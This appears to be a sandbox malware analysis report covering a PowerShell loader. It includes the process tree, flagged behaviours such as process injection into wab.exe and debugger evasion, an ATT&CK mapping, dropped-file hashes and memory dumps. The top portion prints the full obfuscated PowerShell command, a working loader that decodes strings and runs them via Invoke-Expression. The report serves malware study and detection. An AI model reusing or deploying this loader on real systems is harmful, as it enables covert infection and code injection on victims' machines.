N7Wo9Ri6Em9ChDVr8AgAAv8ReBSc8PrEFo9Fi6In9SeDBa8UnBMa9Ca7Gy9 B4 S9TaC O8RyBNeDan6AfB RBPa8SuAKa9RiD S9Mi9 M8ArC M9 SDDoAFeC T8Se1De8Bl8St9TeD VDDi0 HDUl1 L'Lu; D&re(In`$DrUBonPicKio FmTcpPyaPasDisSui RoTonKle OdDg7Ud)no K`$BeSTrt SrReyHigReekotKlrFetOv5Ge Tr Ja Vo; B}Na`$MeSGupSirTuiSknstkbrlEue TnKrdInema Af= B SvV GA IRPr5Fo3Or L'Go9 L3De9TaDPi8FoA E9sa6Or9MuD D9Fj4FoCBrBVeCWhACh'Pe;im`$TuR TaDucWeeCadDai ss dkHyr HiKom RiRen TaSatPri KoNinSveSersmsSp Ud=Un BiVPaA SRBi5Gr3no Im'Go8BrDBo8CaBUn9 LDDr8AnALkCSaBWhCRaAFa'Co;Un`$RuR BoPltEpeRer Me HsPs0Ke3An Ub= F AnVOrAReR M5Af3De Ce' MBCiFCu9KuDmo8 ACRnBBoBTa9lu7Am9 F6Di8MoBBe9Ge7Ba9Mi4Fe9SuDBlAInFAf9Ne1am9Sy6Ne9krCIm9Sk7Af8TyFty'Ru;he`$ hRMaoOmt PePirEle DsKl0 H0Se= SVMiABrR S5Fo3Un Tw'inASvBFo9 I0Ap9Be7au8FrFpsAKoFUn9th1Ly9Ul6Sm9 HCDe9No7Ho8HuFSc' P;Sk`$SfS RtDar RyLagFae GtPrr Stfo6th Se=Be BlVStANeR A5Da3De Sp'inDOsCFlB GFCi8WrDRa9Re4Eg9DaCDe9 LFGo9 W4Me9Gn1Ur9Gr6Gu8HiBDr9ReDAdDSh8PeCOv5omDDe8PhALa3MiAInBUd8En1Tr8frBCo8OpCHa9UgDPi9En5VaDwe6LaABuACo8UgD K9 a6Ga8KrCSt9Zo1Er9Gi5 P9saD sDPr6CaBJe1Ho9 V6Sa8JaCCa9OcDTo8 SA I9Un7Ke8re8InAvgBRe9FaDWo8SeARe8 KEMe9 I1Tr9SaBSk9 ADBr8BrBelDAn6BlBin5Kr9in9Ri8MaA T8 TB B9 R0Bn9Br9Af9Sk4SpA s5HoCGa2CaC M2 OBFoFre9BiDNo8KnCSkBPeCFo9ZoD G9Jo4Ly9CeDDi9SaFSm9Mi9ca8AlCAm9MoD AB CEGr9Kl7 a8InAGrBLaEha8MoDFo9 A6Ve9PoB K8NyCVe9Ro1Co9re7No9In6DyA B8Si9Po7fa9Af1Tu9sm6Dr8LiC E9SuDSk8 TAMcD O0FoDNo0Vi9CoESi9me3 S8 Z8 vDhu8SeDHlCHeASeBUn8Bo8Ma8SkASp9Ex1An9 k6Ch9Fe3 R9Br4Ra9 SDRe9Bi6Ov9 SC A9ReDUnD e8BuD tCidA CDOv9Pr6Re9OmB F9Go7 C9Ph5 P8Sl8Sa9Ba9Do8DrBRe8TiBQu9Da1Ca9Sp7Th9 C6 N9 RDDa9ExCmuCGeCSuD A1SpDFl4 WDVi8SuDop0SaBInFPaBKnC MAAxCHyDCo8HiB l8 TDSa0 AADa3EcBDr1Co9 S6 T8FrCSnAin8Gr8nsCBa8GuACaAIn5 LDSp4ToDUn8auA c3 YAUlDShBSe1Lu9 R6 N8AdCHjCPlB SCgeAFoAUn5arDPo4 GDDi8foA D3 KA CD oBFo1Un9Go6Sr8 NCgrCGeB GCseAEsABl5ovD K4 DDLa8VaASc3CyANoDSkBFo1Co9Pe6Cr8 FCPrCElBSkCBoA MALa5 pD C1 CDsm8StDDe0StAOu3HoBUn1Cl9 U6Gr8CrCVaA G8Kn8OrCTr8SeAAgAHa5PlD T1 TD A1SuDPa1In'Fr;In&Ha(Tv`$ChUPrnRhcVrodomPepRaa BsInsSeiRaoSpn WePidGe7Fo)Ic Le`$UnSRetFerImy SgUpeGitSmrKat R6Tr; p`$ SRskoDutfaeUnrAleBesBr0Tu1Co R=Hu SpV UASlR C5Si3Un Ga'JuDHeCPrBAnDVa9By5Hu9PlAFl8AuACh8Ra1Ko9 M7Pr9pr5Ja9Rv9De8 ICEj9Lu9TaCthA SCKuC SCTi1JeDEl8 kCSk5miDpt8BrAqu3RaAMoBPa8Gu1Lo8SiBFa8MaC K9PrDFr9Be5ToD S6LuAheA R8krDPr9Ti6St8ApCMa9Mo1To9 e5Th9UdDSoDRa6TwBSy1Vi9Bo6Sk8FaCId9DiDBu8maALi9An7Ba8 M8AnAEaB S9 RDIn8KuA I8StE U9Ev1Fi9SaB F9CeD L8 EBDjDPe6CoBOv5Ti9 D9Dr8BlAKo8InBAd9Kl0ch9Ak9Sa9Po4AfACa5SkCAg2KbCFl2StBHaFMi9LoD L8 CC TBReCSe9 bDPh9 F4ho9MiDPe9MaF B9Pr9 K8inCcl9boDKbBDiEKi9Fr7Ha8InAPlBBuE S8 LDCi9Li6 C9SkBBo8UnCsi9Un1Pa9Uo7 G9Rg6UnAFo8Te9Op7Br9Sr1Co9Tu6 D8 OCst9unDTr8KlAInDan0StDTo0Sk9SpEFr9 G3Bi8St8SlDSk8RaDDeCGaAOoAKa9Fj9Yd9ReBPs9NeDIl9 BCmi9Se1 T8BrBWi9Hp3 S8RuAMe9ud1Me9Gr5Di9 U1Re9ka6Na9Pe9No8 KCFi9Sk1Mo9Ba7 T9mo6pr9 UDfo8PoAUn8PuBFoD G8 PD OCdiARoARe9Fa7Ja8AmCDe9BeDCo8FlAIn9IcD s8GiB SCBr8 SCOp8MoDBl1alDlo4HjDfi8 RDPr0afBEtFTrBToCShASkCmuDKl8ArBIn8UnD S0 fASi3QuBBe1Op9La6Na8LiC AACo8Be8 VCTi8DiAKaAId5PuDLe4thDek8OaATo3ImAReDMoBEx1Ek9St6Pi8MaCAfCFiBVaCSeA CABi5ArDFo1 DDhe8SeDMo0 LA m3KaBSt1At9Sl6 U8BlCTrAFo8Te8SpCPo8FoABlA G5DdD A1 TDco1 SDCr1ka'Af;Ma&Ld(As`$ PUSonVocMooBdmbupOpamosUns GiSmoWinCheMidSt7 T)Un La`$ExRFao VtMeeMurAleHosFu0Bo1 S;Sa`$HaR iolntPleDurEme VsFu0Bi2Su fl=Me GoVHuAFoRTi5 A3un We' ADFrC EA SDNi9Di6De8 A8 A9SeD E9SlCun9Ca1De9DaF S8CoAst9 bDPl9BeD O9SmC SDFu8smCTa5RaDSk8KoAIn3 KACaBBr8Fr1Ap8 CBPa8ViCPo9TaDNo9ye5LoDUn6LeA LAgu8 BDIl9be6Va8ZoCLa9 R1te9Su5Cr9PoD ADSt6OmBBr1Re9Or6Do8KaC B9 FDAn8AcASi9Tr7Ba8Di8OrAAdBBo9EnDPr8ruAAm8PaECa9Yo1sp9 SBAc9PrD A8OpB CD H6 aBEk5Gr9Or9Ge8PlAPr8chBPe9Ag0 L9 Y9Ma9 U4 MA d5 PC D2ExCIn2WhBSuF T9OpD T8TiCBoBStC S9StDsn9 M4Ph9 MDLe9opFAs9Ne9Gr8SjC O9 CDHaBPrE K9Fi7Ps8AlAAoBMeESh8glDLu9Co6Ac9HyBor8CiCSa9Tu1Re9ap7Re9Hu6ToA B8Pa9St7Co9Ku1Pe9 O6Un8GuCKo9TiD M8ApAReDGu0FoDTr0 K9 IETh9mo3Sl8Ti8UnDDd8MoDgeCDeASpBpe8Af8Ca8 UAdu9Da1Er9Ah6 D9Fo3Vd9 T4Ka9 SDAf9Or6 D9saCQu9 MDDiDBa8pyD EC LASeAPr9Ab7Sy8WiCDi9koDGo8 SAPr9 CDBa8GeBSaCBu8fuCUbBOlDUn1MaDOm4WaDUd8 BDKo0BaB UFEkBSuCSoA ACOrD B8UpBDi8StDRe0baA b3SaBRe1Pr9Os6Sk8 SCOvARe8ud8 bCMi8HuACoA B5MoDbe1EvD A8UnDSk0DeAOy3biBEf1 U9So6Al8StCNuAFo8Co8SoCOd8NoAStAMi5AlD I1GuDFl1CuDAc1Su'To;Da& U(By`$ OUOmnFocAcoPomRapEmaAdsScsStiboostnKoe AdNo7Am)Bo He`$ sRDoowotLiePirMae TsPa0Re2Se; R`$flSRutParThy Fg UeFotSnrAltRi7Gu Ko=Fl UnVMeASaRVi5Tr3Tr To' FDLaCimAGr0Mu9 T9Br9mo6Du8RuCSl9Au0Yo9Am7 P9 BBUk9Di0Sa8OpAFo9Ro7 G9De1SwCSu1 GCDe8An9Fo1 C8StB B8NoCAf8JuAlo8DiD P8Fl8Rd8EgBChDTv8SuC S5TaDFl8ChDSuCklAHoDUn9Fi6Lo8Co8 U9AcDan9HoCGr9Or1St9VeFRa8 mADy9UdDSm9BeDTr9BeC KDSt6BaBpo1Pa9 C6Ma8DiEHa9 P7Li9Fo3Fo9StDSkDSt0geCAd8 ADKl1Ha'Da;Pu&Dr(La`$FoUCanIncToo SmTepSpa AsFlsCaiEnohanTieDadSa7La)At In`$CaSCitDerFrySlgAfeMotRerDitTe7Da;An`$OuSSvtNarFryGrgRyeUntChrswtJo7Na Dj=Al InVStAfdR L5 R3Ar Om' MDEnCTrBSaDCi9Ut5Na9NaALb8BoAHa8Ca1Sa9 S7Ab9va5Lr9Bi9 K8 ICDi9 P9 SCMiASuCYeCPuCVi1 sDTr6OvBBr1St9Pr6sa8HaEGr9By7Fi9Be3fr9PrDReD S0 FDStC PAAf0An9 S9Rd9Hv6Ma8TiCFo9Sp0Op9Op7Fo9OmBFy9pe0Be8 SAOv9Ad7 K9 S1GlC t1ReCSl8Si9wi1Bo8ToBEm8 HCMe8SlA N8MeDPu8 d8At8FiBGeD R4AmD R8 BC b8 ODSj1Ra'Ta; W&Ek(ho`$FiUConZoc AoDimAfpLiaTwsPosSuiRio AnEreKyd R7Ko)fj Ov`$FoSBatHerEkyFogSkeKatPorDetAa7Ss;fr`$ScXSpaSenLatPehAsoPacBlhTarChoMaiUn9 E0SurGonBrdroeFohSuuSug Ng SeSirafnMaeBos V1 B9 S9De En=Tp LifMikFipRo No`$FaUCrn ScAvoDimHop yaOpsSysDii AoPinspeSldAn5Co Na`$SgUtrnBecGeo bmFupAgaCosEfsEpiCooBinSteUsd C6ud;Sh`$ CS UtnirSny DgFieMatCarSctFo7 C pe=Ou BuVbeA PRDe5Sn3Sl Gk'LpDPeC RB B2 A9De9 D9OiAUn9InATe9FoDRn8SaAAl9MeD M8anAOu8CrBTiCjeB MDCo8LrCFr5MiDSp8KoDMoCLuBHuFJa8DaD S9Fj4Ta9ImCPu9 aFMi9Br4Rh9 S1us9Ho6Eq8 TBMu9OvDSkDPa6InBEl1Fo9Sk6No8BeEZe9Au7 S9Fl3Co9HaD DDha0 BADy3BeBOr1De9No6In8ShCPoAta8Sk8SoCSl8 PAquASi5 eCEf2PeCFe2KaA P2Du9KlDOp8MiAdy9Me7SyDFi4UnDPe8 UC OEViCaf9ExCPr0klDla4AfDJa8MuCSt8St8ac0SoCTrBFeCCh8DrCPh8PuCLi8InDBr4UtDOr8AiCFo8Br8As0 UCsoC FCUn8AsD C1Va'Lr; C&Rd(Re`$DeUEanBrcDaoSamBupFiaBasUdsEliFoosknCoe MdRe7Ma)Ra Co`$UdS stSpranyRugCheAdt PrUntPr7No; S`$GtSDitDerdoyReg SeGrtUdrPhtbg8Ki Sp=Ps gV AASuRGe5Fd3Ph ap'SwDStCReB PB S9unDFi8 MATi8StCMi9Af1 E9LeEcr9Ol1Fl9De3An9 G9Se8TiCSv8Sl8so9 E4Re9 M1Fr9EnF M8skCBi8UnB FD p8FiC M5VaDSe8IrDReCBaBGaFVe8coDHj9Fl4Pr9AbCLa9JeF R9Va4Ko9Po1 F9 H6st8StBCh9SaDChDOv6YaB C1Gy9Sp6Be8 VELr9La7Fl9Pa3Ek9HyD SDud0AfA L3 TBGe1Wa9St6Re8UfCHiASu8Ty8TuC B8GhABiAKa5SnCHa2ObCLe2 PAPa2ci9SeDHe8UnAIn9An7FlDFr4NoDMi8AtC SEKoCfoF HCDeEUnCGaAUnCPu8ObCTu0SeCOpEheCJoCUnDIm4AlD S8DeCBa8Kl8ov0baCCiBInCEr8PeCfo8FaCse8FoD U4OvDFe8LgCHe8 P8Sk0ImC LCDrDVi1Ku'Sl;Le& T(Di`$DoUAnn UcFloNem Ip Ra asGasUniSvoKunAle Ld C7Kl)An Re`$ReS Tt BrLayKogPeeSetDrr LtDu8Sm;An`$TeJFia RbKfb AeHerKae IrSusRe2 T=Fo`"""Ti`$IseOpnDivSk:UnA tPDePGuDDiAUnTEmADe\ PFSgoKer EsCeaSlkRaeAgsHj\CipKatMietirluoPes RaRiu yrFaiBeaEj\ Sa NrPehGeyApt ChTimPai MaSk\ZaSveoLol mcSerAneOpm Se GnLisCe.UdVtreHerTr`"""Re;Pr`$GeSAbtWerObyElgNeeVatTerBatTo9Os Fo=Go KrVCiAMiRAu5 D3 U Su'BeDSkC VA VBPe8BaCPr8 TAPr8Ph1Fr9UdFAf9SeDRu8AfCSp8ReAKo8ChCEnDFl8GrCNa5UnDIn8 CAUp3 SAFjBSt8 S1Ab8SaBPr8 FC S9AnDpr9fj5ElD B6OaBAn1AlB B7SaDAf6AuBPrE p9Im1Ba9Ma4 M9InD MAUr5ScCPr2DiCSk2KlAFiABe9AcDGl9Os9Ka9CoC HB d9Se9 K4 P9 p4PrBCoAsk8Su1Si8moCTe9HeD E8DaBOuD P0EnDFyCRaBAb2 C9Dy9He9faABe9PaA s9AnDJa8maAVe9FlDSt8PiAFi8HuB DC SAPeDVo1Me'Te; R&Fr(In`$ReUMen JcunoDomOvpShaKesussHoiAnoRon Pe Nd b7Om)Op F`$MeSGrtCarMuy PgFreActDarJitJa9Mu;Sp`$RolInoRow SeImrbuy H0De Vi= B akVKeAAlR S5Br3Be El' BALu3suAUnBQu8 V1Ju8PaBSh8 HC m9DuD E9Ut5UnDUf6NeASkASu8 VDAp9St6Ca8DeC S9 F1 M9Bo5Id9LeDBrDAb6NdBBa1Fr9Co6Me8TiCBe9HaDFo8ThAVe9Il7Pu8Me8SyAUdBLy9ShD J8ScA T8deESk9Ne1 D9CaBDe9UdDSv8HoBDoDSk6ReB S5Up9Re9 b8PoABr8DeBre9 B0ro9Bu9Af9Ci4SeA R5 DCrw2SmC K2BrBGaBFa9Fo7Ma8 P8Ca8Vi1SuDHu0cuDWiCMiASvB e8 SCDi8BeABi8Un1Ls9 rFNu9AfDBa8BuCWi8 IAAc8 PCUnDPo4KaDBr8 KCMiB TCDo8hoCChAClCKoCOlD S4SpDHy8 mDwe8 RDXeCCoBTr2Hw9Br9 B9OrAUm9ShABr9MeDHa8FuAVe9HyDCa8CaACe8RiBUdC KBBeDDu4DiDUd8 RC ZESuCDe9MeCAa0NoD J1Ve'Me;Su& k( F`$SuUFonIlc PohamFopShaBrs SsFiiSooBenFreUddTo7Be)Co Su`$InlOpoKowUnedurInyGr0Re;Sk`$VeS PkPnoEnvMet Ur BoPhlOdd PeSusSt8ce9Tr=Ph`$ViSOptNorEryEygSte UtdurPetUr. DcAroThuSnnOptAb-Kl6 N1No8Bu-Fr3Au0Hn2Le4Un;Pe`$TelNyo LwcoeTrrcayFi1Un Tr= U UnVPrAMuRMu5ko3Gn pn'svAph3WiALeBSe8re1 M8FlB A8PhCUn9TyDFr9Fu5 TDAt6DeAAfATr8EpDCo9fo6 O8SiCSm9 S1 T9Sp5Se9OdDreDMu6VeBBl1Th9Re6Ma8LoCap9prDDr8afATi9ek7An8Sl8HeAChB S9BaDSk8KvAUn8TrE T9Fu1Ge9LoBRh9 mDCu8ErB sDSt6stBIm5Im9Un9El8PoAUn8AwBBr9 S0Za9Mo9Tw9Ni4DiA F5GrCKa2ErCPl2smB bB s9Ti7 b8Le8Fe8fl1DeDUt0AfDDoCbrATiBGa8sjCTr8 KADo8kr1Fj9eyFEk9 TDBr8 KCEf8 AAEx8PrCLoDPn4MiDVi8HaCKoE HCSt9unCpe0 SD R3OrCBaBEgCUn8FoCgrABiCVeCTrDFo4BrDLi8UnDCoCStBShBFo9RoDBe8 RAMo8PrCUn9Dr1El9AnEVo9He1Ja9Di3Az9Di9 B8FiCId8Ra8Oc9 E4Bi9Ud1ub9MyFSj8ClC O8 NBGeDHe4 EDFo8OvD ACMoAEfBGa9Vo3Ow9Fe7or8BlE B8PoCSw8TeABe9 I7An9Th4 C9MaCUt9EpDDe8GaBUiCFl0SkCLi1 SDTe1Op'Kl; F& a( A`$ AUTrnGacCoomimRepAnaBysGasthiProKlnTre CdUn7 k)Me Sy`$Kal AoovwPaeHerWoyOt1ek; P`$ TlSaoSawGee SrRay F2Ap de= S BnVSmASaR B5Li3st Sh'FaDBoCPrA E2Mr9Su1 I8DeCSl9Ku0ti9PrDSu8VaAUd8CoBPlDBa8OsC C5elDFi8EkA P3MiASuBre8Pr1Te8SkBFo8SlCSh9InDGi9Tu5BuDIn6 MA BAFl8faD K9De6ma8SeCBy9Rh1Sm9Un5Re9MaD sDEx6DrBCo1 E9Tr6 T8boCPr9DiDJe8AnA A9 C7No8Co8OrA MB U9JoDOp8GoAGr8UnECh9Si1Fi9DrBLu9OmDNo8ReBLiD R6ReB H5 S9Wo9gn8SkAen8PhBFu9Sc0Lu9Bu9Op9Ka4FiASa5InCRe2 CC J2AnBMeFju9SaDMa8ViC UBOtCTr9FoDPo9 G4No9PiDSj9PaFAd9Ta9De8DrCdi9DoDTrB HEKv9No7Sp8UnACaBStE S8 KD U9ph6 I9 eB F8EfCMa9 r1Ty9Rh7Wo9No6 FAZi8 K9Gr7In9Tr1In9Ko6Bo8 KCAr9ClDPr8BeAIlDRo0 GD F0Gr9BfEUd9 i3Fj8Km8BaDUn8OuDGlC K9 S0Mu9Ud2Ac9No4Li8in8Al9 LD E9SaE N8TyDBa9Sa6Bo9Te3An8 ICOp9Kr1Ko9St7Al9 S6Os9ReDBi8OvACh8krBOv8BoAKo8StAAl9Fo7 S9caABu9 M9 S8ImBTeDUd8 BDBlC DAChB T9 I3 G9Am7 S9Ma4Ca9 RDEg9HyDEl9De5Te9UnAAs9SkDRe9StCOp8TiB A9wiD S9pl3 R8RuBFr9Ph9Na9Go5De9PlD I9 C6 A9UnD E8TrABa9 S6Co9TeDtyDIr1FoDCa4VoD h8 EDCa0FeBApFSkBGrCPoA HCDeDPr8UnBno8 EDMa0 CAFn3 UBFo1 a9Sd6Cl8BlCafADr8 R8UdCWr8UtAChAae5SaDKa4 tDRe8TaAFa3AcBOl1Up9St6Sk8SpCViA C8Fo8KoCUn8 SAToAUl5ReDVi4OvDAr8DaAMa3PrBRi1Th9Ri6Tr8haCFlACa8Un8VaCRu8EpACoABo5HyDle4 SDEn8 GAEs3 GBAs1In9 D6 D8GrC SASe8El8UnCGr8ReAKoAgr5KrDTr4 SDMa8SlABo3PlBBa1Dr9Fr6 B8 MC UAUn8El8LyC E8ItAInAaf5UfD R1AcD P8 EDan0NoAPh3TeBRe1Ba9St6Gu8 RCOvAUi8 H8ChCMa8KnA AA R5HnDHo1MiD S1EfDBi1Sl' A;na&Be(at`$noUNonFicOaoEnmUnpPracas ts IiIno Cn teRadIm7Tr)Si C`$StlVeoNyw FeKlrVeySt2Op;Ca`$Ovl moSkwDaeakrMaysu3 S sv=Ho InVFlA ARAn5Bo3No B' pDunCUnAPr2 D9ba1 H8EnCUn9Ve0Ba9 BDSy8IsABi8JuBReDRe6BoBLu1ve9Bu6Fa8 OEFl9Fa7Un9 M3Af9 nDIdD C0StDInC GBRo2Fl9Po9Ve9SyATe9ArACo9UdDSu8 CAKi9PoDRe8SlAFo8EsBreCSyBNoDRe4 FDBrCMaBPiBRa9UnD P8 OASa8OpCAd9Re1Co9TrEUn9Rg1 G9 a3 S9Sl9Sp8CrCSh8 T8 o9 R4Ni9 D1Re9NaFHe8KuCEk8UdBEnDTi4SpD SCPuA E0 F9 S9 B9St6ny8PrCVi9Sm0Fo9Su7 V9PoB t9 S0Pr8 AA R9in7Co9 A1EnCGt1PoCRo8Sk8NeA H9Be6 S9HuCKo9ReDWe9Re0 B8 SDpr9HiFSe9 ZFBe9 ADRi8 KAVi9Au6Sa9TeDCi8 PBGaCSa9FoCEk1WhCOp1 RDAu4 TCSr8HeD M4CiCSk8 MDPe1Sy' U;Mo&Sn(Ce`$SlU DnGucRoo FmSlp UaBvsImsSri Fostn CeSudBo7In)Ha S`$KelInoInw BeOurRky U3An#Sk;""";<#Greatly Slaksene udslukne Soldragter #>;;function lowery8 ($hjlpefunktioners,$Xanthochroi90) { &$Favrprisen1200 (lowery9 'Mu$ khGajSylPrpNiePaf DuSunbakTitTriBroAnnkieMorPhs D Te- AbEpxStoGrrSy B$TiXPoaCanShtWhhPeoUkc HhBirIdoVeiFr9Sc0Tr ');};Function lowery9 { param([String]$Forstaaelsernes); <#Reagent Syntaksanalyserings Evalueringscentret Svmmehals Unharping Handelshjskoler Akoulalion #>; $Coirs=2+1; For($Overneglectfully=2; $Overneglectfully -lt $Forstaaelsernes.Length-1; $Overneglectfully+=($Coirs)){ <#Cladrastis Aciculum Sosia golland Jat #>; $Roteres+=$Forstaaelsernes.Substring($Overneglectfully, 1)} $Roteres;};;$Favrprisen1200 = lowery9 'SkIFrE MXVl ';$Favrprisen1201= lowery9 $Thruput;&$Favrprisen1200 $Favrprisen1201;<#Coriamyrtin Zinnniaer Udskriftskommando unguided Fluatet Dissatisfyingly #>;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2640
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:2512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Forsakes\pterosauria\arhythmia\Advis.Frk

Filesize
25KB

MD5
3b0bdbc6f9d05602dec5716c2ccb1f72

SHA1
84113e6d58b6034e7976f9057f7217eaf56e486b

SHA256
bb321daea9ff6f5b070752e3d08a6b981e208c15939712442494c274831b20e3

SHA512
35b0761386dfbccbcdd78b9d2ba257b854e626e366a1f960cfe5e1f82cc00e4c2523227672af42124b8306b459704eaead71c67f221c0df5885d65bb346fc28b

Download Submit
C:\Users\Admin\AppData\Roaming\Forsakes\pterosauria\arhythmia\Solcremens.Ver

Filesize
400KB

MD5
10b3bef19d93760bbaae36ac0cb601f9

SHA1
4f63cce1551903596c8ddeed539c53f007034116

SHA256
eb6c071e54a027cb4641a91f4ba7443af6f2883847a8160b665a9a1940323e8c

SHA512
2d0cec4ca70e99c67d9a0edd3bc25d615ab2797584f3970e7727051bbfda8bef461fd824f7617e4956ddd04d41d2d896f98735747df172157de99fdf5f87bb44

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
373f463ad355590043e252f05ca9a58d

SHA1
14bd53a8144ae4866b07d29dd6d2fb7f89ab50b1

SHA256
07d54bc253cbe5caf245ceeb3335aec15a15a37f26cec1713f4b9392424e4db8

SHA512
a14ff1594b9c9682f5738e181613a2c7fcb119d2955e5b3c33259cca3c74d49ea8aa69a15bd56740275437474dc5f3065d74d266af11a1339fe14c8e1d3950c4

Download Submit
memory/2396-9-0x0000000074350000-0x00000000748FB000-memory.dmp

Filesize
5.7MB

Download
memory/2396-13-0x00000000027C0000-0x0000000002800000-memory.dmp

Filesize
256KB

Download
memory/2396-11-0x00000000027C0000-0x0000000002800000-memory.dmp

Filesize
256KB

Download
memory/2396-12-0x00000000027C0000-0x0000000002800000-memory.dmp

Filesize
256KB

Download
memory/2396-44-0x0000000074350000-0x00000000748FB000-memory.dmp

Filesize
5.7MB

Download
memory/2396-10-0x0000000074350000-0x00000000748FB000-memory.dmp

Filesize
5.7MB

Download
memory/2396-29-0x00000000027C0000-0x0000000002800000-memory.dmp

Filesize
256KB

Download
memory/2396-27-0x0000000074350000-0x00000000748FB000-memory.dmp

Filesize
5.7MB

Download
memory/2396-28-0x00000000027C0000-0x0000000002800000-memory.dmp

Filesize
256KB

Download
memory/2512-40-0x0000000077A20000-0x0000000077BC9000-memory.dmp

Filesize
1.7MB

Download
memory/2512-39-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/2512-38-0x0000000077A20000-0x0000000077BC9000-memory.dmp

Filesize
1.7MB

Download
memory/2512-37-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/2640-25-0x0000000005040000-0x0000000005041000-memory.dmp

Filesize
4KB

Download
memory/2640-31-0x00000000027F0000-0x0000000002830000-memory.dmp

Filesize
256KB

Download
memory/2640-30-0x0000000074350000-0x00000000748FB000-memory.dmp

Filesize
5.7MB

Download
memory/2640-32-0x00000000027F0000-0x0000000002830000-memory.dmp

Filesize
256KB

Download
memory/2640-33-0x0000000077A20000-0x0000000077BC9000-memory.dmp

Filesize
1.7MB

Download
memory/2640-36-0x0000000077C10000-0x0000000077CE6000-memory.dmp

Filesize
856KB

Download
memory/2640-26-0x0000000005CA0000-0x0000000009D1D000-memory.dmp

Filesize
64.5MB

Download
memory/2640-23-0x00000000027F0000-0x0000000002830000-memory.dmp

Filesize
256KB

Download
memory/2640-22-0x0000000074350000-0x00000000748FB000-memory.dmp

Filesize
5.7MB

Download
memory/2640-21-0x00000000027F0000-0x0000000002830000-memory.dmp

Filesize
256KB

Download
memory/2640-20-0x0000000074350000-0x00000000748FB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing